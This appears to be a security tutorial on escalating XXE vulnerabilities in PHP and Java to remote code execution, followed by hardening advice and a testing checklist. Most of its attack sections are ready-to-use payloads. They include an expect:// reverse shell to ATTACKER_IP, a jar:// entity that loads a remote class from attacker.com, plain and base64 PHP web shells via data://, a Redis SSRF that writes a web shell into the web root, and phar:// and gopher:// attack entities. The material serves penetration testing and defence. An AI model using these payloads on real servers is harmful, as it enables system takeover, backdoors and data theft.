RCE Escalation via XXE
Advanced techniques for escalating XXE vulnerabilities to Remote Code Execution through protocol handlers and parser-specific features.
Overview
While XXE vulnerabilities typically enable file disclosure and SSRF, certain configurations and protocol handlers can escalate XXE to Remote Code Execution (RCE). This represents the most severe impact of XXE vulnerabilities.
RCE Escalation Paths:
- expect:// wrapper (PHP) - Execute shell commands
- jar:// protocol (Java) - Load malicious classes
- netdoc:// protocol (Java) - Trigger code execution
- phar:// wrapper (PHP) - Deserialize malicious objects
- data:// wrapper (PHP) - Inline code execution
- OOB XXE ā SSRF ā RCE - Chain attacks
Prerequisites for RCE:
- Parser supports dangerous protocol handlers
- Weak file upload validation
- Deserialization vulnerabilities
- Internal services with RCE capabilities
- Specific PHP/Java configurations
Impact:
- Complete server compromise
- Data exfiltration and modification
- Lateral movement in network
- Backdoor installation
- Service disruption
PHP expect:// Wrapper (Direct RCE)
What is expect://? The expect:// wrapper in PHP allows executing shell commands directly through stream wrappers. When combined with XXE, this enables direct RCE.
Requirements:
- PHP with expect extension installed (uncommon but exists)
- libxml configured to allow expect:// protocol
- External entity loading enabled
How It Works:
- XXE payload references expect://command
- Parser loads expect:// stream
- PHP expect extension executes command
- Command output returned to attacker (if classic XXE) or sent OOB
Detection: Check if PHP has expect extension:
php -m | grep expect
Severity: Critical - Direct command execution with web server privileges
expect:// RCE Payload
1<?xml version="1.0" encoding="UTF-8"?>
2<!DOCTYPE root [
3 <!ENTITY xxe SYSTEM "expect://id">
4]>
5<root>
6 <data>&xxe;</data>
7</root>
8
9<!-- More sophisticated: reverse shell -->
10<?xml version="1.0" encoding="UTF-8"?>
11<!DOCTYPE root [
12 <!ENTITY xxe SYSTEM "expect://bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'">
13]>
14<root>
15 <data>&xxe;</data>
16</root>
17
18<!-- Command output will appear in response if classic XXE -->
19<!-- For blind XXE, use OOB exfiltration of command results -->Java jar:// Protocol Exploitation
jar:// Protocol in Java: Java's jar:// protocol handler can load classes from JAR files. When combined with file upload or SSRF, this can lead to RCE.
Attack Chain:
- Upload malicious JAR file (disguised as image/document)
- Use XXE with jar:// to reference uploaded file
- Java loads and executes malicious code from JAR
- Achieve RCE
Example Scenario:
- Application allows file upload (validates by extension only)
- Upload malicious JAR as "image.jpg"
- XXE payload: jar:file:///tmp/uploads/image.jpg!/evil.class
- Java classloader executes code
Similar Protocols:
- netdoc:// - Alternative Java protocol for RCE
- ftp:// - Can trigger SSRF to FTP server hosting malicious content
jar:// RCE Attack Example
1<!-- Step 1: Upload malicious JAR file disguised as image.jpg -->
2<!-- JAR contains class with static initializer executing payload -->
3
4<!-- Step 2: XXE payload references the uploaded JAR -->
5<?xml version="1.0" encoding="UTF-8"?>
6<!DOCTYPE root [
7 <!ENTITY xxe SYSTEM "jar:file:///var/www/uploads/image.jpg!/com/evil/Payload.class">
8]>
9<root>
10 <data>&xxe;</data>
11</root>
12
13<!-- Alternative: Use HTTP to load remote JAR -->
14<?xml version="1.0" encoding="UTF-8"?>
15<!DOCTYPE root [
16 <!ENTITY xxe SYSTEM "jar:http://attacker.com/evil.jar!/com/evil/Payload.class">
17]>
18<root>
19 <data>&xxe;</data>
20</root>
21
22<!-- Java classloader will load and execute static initializers -->PHP phar:// Deserialization
phar:// Wrapper + Object Injection: PHP's phar:// wrapper can trigger deserialization when accessing PHAR archives. Combined with XXE, this enables object injection attacks.
Attack Requirements:
- PHP application uses phar:// wrapper
- Application has exploitable __destruct() or __wakeup() magic methods
- Ability to upload PHAR file (or create via XXE)
- External entity loading enabled
Attack Flow:
- Create PHAR file with malicious serialized object
- Upload PHAR (may bypass as image/document)
- XXE references phar:///path/to/file.phar
- PHP deserializes object metadata
- Magic methods trigger RCE (if vulnerable classes exist)
Common RCE Gadgets:
- Monolog\Handler\SyslogUdpHandler
- Symfony\Component\Cache\Adapter\TagAwareAdapter
- Custom application classes with dangerous __destruct()
phar:// Deserialization Payload
1<!-- First, create malicious PHAR with serialized object -->
2<!-- Upload PHAR file disguised as legitimate file -->
3
4<!-- XXE payload triggers deserialization -->
5<?xml version="1.0" encoding="UTF-8"?>
6<!DOCTYPE root [
7 <!ENTITY xxe SYSTEM "phar:///var/www/uploads/malicious.jpg">
8]>
9<root>
10 <data>&xxe;</data>
11</root>
12
13<!-- Alternative: phar:// with specific file inside archive -->
14<?xml version="1.0" encoding="UTF-8"?>
15<!DOCTYPE root [
16 <!ENTITY xxe SYSTEM "phar:///tmp/upload.phar/test.txt">
17]>
18<root>
19 <data>&xxe;</data>
20</root>
21
22<!-- When PHP processes phar://, it deserializes metadata -->
23<!-- If vulnerable gadget chain exists, achieves RCE -->PHP data:// Wrapper
data:// Protocol for Code Execution: PHP's data:// wrapper allows embedding data directly in the URI. While not direct RCE, it can be chained with other vulnerabilities.
Usage in XXE:
<!ENTITY xxe SYSTEM "data://text/plain,<?php system($_GET['cmd']); ?>">
Limitations:
- Requires allow_url_include = On (rare in production)
- Entity content often not executed directly
- More useful for bypassing filters than direct RCE
More Effective: data:// + PHP filter chains
<!ENTITY xxe SYSTEM "data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+">
Base64 decodes to: <?php system($_GET['cmd']); ?>
XXE ā SSRF ā RCE Chain
Chaining Attacks for RCE: Even without dangerous protocol handlers, XXE can escalate to RCE through SSRF.
Attack Chain Examples:
1. XXE ā Internal Service RCE
- XXE enables SSRF to internal services
- Internal admin panel has command execution
- Chain: XXE ā SSRF to admin panel ā RCE
2. XXE ā Redis/Memcached ā RCE
- XXE enables SSRF to Redis/Memcached on localhost
- Redis/Memcached exposed without authentication
- Use SSRF to write web shell to document root
- Chain: XXE ā SSRF to Redis ā Write shell ā RCE
3. XXE ā Cloud Metadata ā RCE
- XXE enables access to cloud metadata (169.254.169.254)
- Retrieve IAM credentials or user-data scripts
- Use credentials to access other services with RCE
- Chain: XXE ā Metadata ā Credentials ā Service RCE
4. XXE ā Elasticsearch ā RCE
- XXE enables SSRF to internal Elasticsearch
- Elasticsearch has script execution features
- Use Groovy/Painless scripts for RCE
- Chain: XXE ā SSRF to ES ā Script execution
XXE ā Redis SSRF ā RCE Example
1<!-- Step 1: Use XXE to SSRF to local Redis -->
2<!-- Redis protocol uses CRLF, embed commands -->
3<?xml version="1.0" encoding="UTF-8"?>
4<!DOCTYPE root [
5 <!ENTITY xxe SYSTEM "http://localhost:6379/%0D%0ACONFIG%20SET%20dir%20/var/www/html%0D%0ACONFIG%20SET%20dbfilename%20shell.php%0D%0ASET%20payload%20%22%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%22%0D%0ASAVE%0D%0A">
6]>
7<root>
8 <data>&xxe;</data>
9</root>
10
11<!-- Explanation:
121. SSRF to localhost:6379 (Redis)
132. CONFIG SET dir /var/www/html (set Redis dump location)
143. CONFIG SET dbfilename shell.php (set dump filename)
154. SET payload "<?php system($_GET['cmd']); ?>" (store web shell)
165. SAVE (write dump file to disk)
176. Result: shell.php written to web root
187. Access http://target/shell.php?cmd=id for RCE
19-->gopher:// Protocol for Complex SSRF
gopher:// for Advanced SSRF: The gopher:// protocol allows constructing arbitrary TCP payloads, enabling complex SSRF attacks that can lead to RCE.
Capabilities:
- Send raw TCP data to any service
- Craft protocol-specific commands (HTTP, Redis, SMTP, etc.)
- Multi-line requests with proper CRLF
- Binary data transmission
RCE Scenarios:
1. FastCGI RCE
<!ENTITY xxe SYSTEM "gopher://127.0.0.1:9000/[FastCGI binary payload]">
Send FastCGI packet to PHP-FPM, set PHP_VALUE to execute code
2. MySQL RCE
<!ENTITY xxe SYSTEM "gopher://localhost:3306/[MySQL protocol payload]">
If MySQL accessible, use LOAD DATA INFILE for file operations
3. SMTP Command Injection
<!ENTITY xxe SYSTEM "gopher://localhost:25/[SMTP commands]">
If mail server exposed, potentially inject commands
Limitations:
- Complex payload encoding (URL encoding required)
- Some parsers block gopher://
- Requires deep protocol knowledge
RCE Escalation Prevention
Defense Against XXE ā RCE:
Primary Defenses: ā Disable external entities (prevents all XXE) ā Disable dangerous protocol handlers ⢠PHP: Disable expect, phar wrappers ⢠Java: Restrict jar://, netdoc:// protocols ā Disable DTD processing entirely (if not needed)
Secondary Defenses: ā Network segmentation ⢠Block outbound connections from app servers ⢠Prevent access to internal services (Redis, MySQL, etc.) ⢠Block cloud metadata IPs (169.254.169.254) ā File upload validation ⢠Validate file content, not just extension ⢠Scan uploaded files for PHAR/JAR signatures ⢠Store uploads outside web root ⢠Randomize filenames ā Least privilege ⢠Run parsers with minimal file system access ⢠Restrict write permissions ⢠Use containers/sandboxes ā Disable unnecessary PHP extensions ⢠Remove expect extension if not needed ⢠Disable allow_url_include ⢠Restrict stream wrappers
Monitoring & Detection: ā Monitor for suspicious protocol usage (expect://, jar://) ā Alert on internal service connections from app servers ā Log all file uploads and XXE attempts ā Monitor for deserialization attempts
PHP Configuration Hardening
1; php.ini hardening to prevent XXE ā RCE
2
3; Disable dangerous stream wrappers
4allow_url_fopen = Off
5allow_url_include = Off
6
7; Disable expect extension (if installed)
8; extension=expect.so ; Comment out or remove
9
10; Restrict phar:// wrapper (PHP 8.0+)
11; phar.readonly = On ; Already default
12
13; Disable external entity loading (libxml)
14; Note: Set this at runtime via libxml_disable_entity_loader(true) for PHP < 8.0
15; For PHP 8.0+, external entities disabled by default
16
17; Additional security settings
18disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
19
20; Limit resource usage
21max_execution_time = 30
22memory_limit = 128M
23upload_max_filesize = 2M
24post_max_size = 8MRCE Escalation Testing Checklist
Testing for XXE ā RCE Potential:
PHP Targets:
ā Test expect:// wrapper
⢠<!ENTITY xxe SYSTEM "expect://id">
ā Test phar:// deserialization
⢠Upload PHAR, reference with phar://
ā Test data:// wrapper
⢠<!ENTITY xxe SYSTEM "data://text/plain,<?php phpinfo(); ?>">
ā Check for dangerous PHP functions enabled
⢠system(), exec(), passthru(), shell_exec()
Java Targets:
ā Test jar:// protocol
⢠Upload JAR, reference with jar://
ā Test netdoc:// protocol
⢠<!ENTITY xxe SYSTEM "netdoc://localhost/test">
ā Check Java version for known XXE ā RCE CVEs
SSRF ā RCE Chains: ā Test access to Redis (port 6379) ā Test access to Memcached (port 11211) ā Test access to Elasticsearch (port 9200) ā Test access to FastCGI (port 9000) ā Test cloud metadata access (169.254.169.254) ā Test internal admin panels
Protocol Handler Tests: ā Test gopher:// for raw TCP ā Test ftp:// for FTP server access ā Test file:// for file operations
Deserialization: ā Check for deserialization vulnerabilities in app ā Test gadget chains if found ā Combine with file upload for PHAR attacks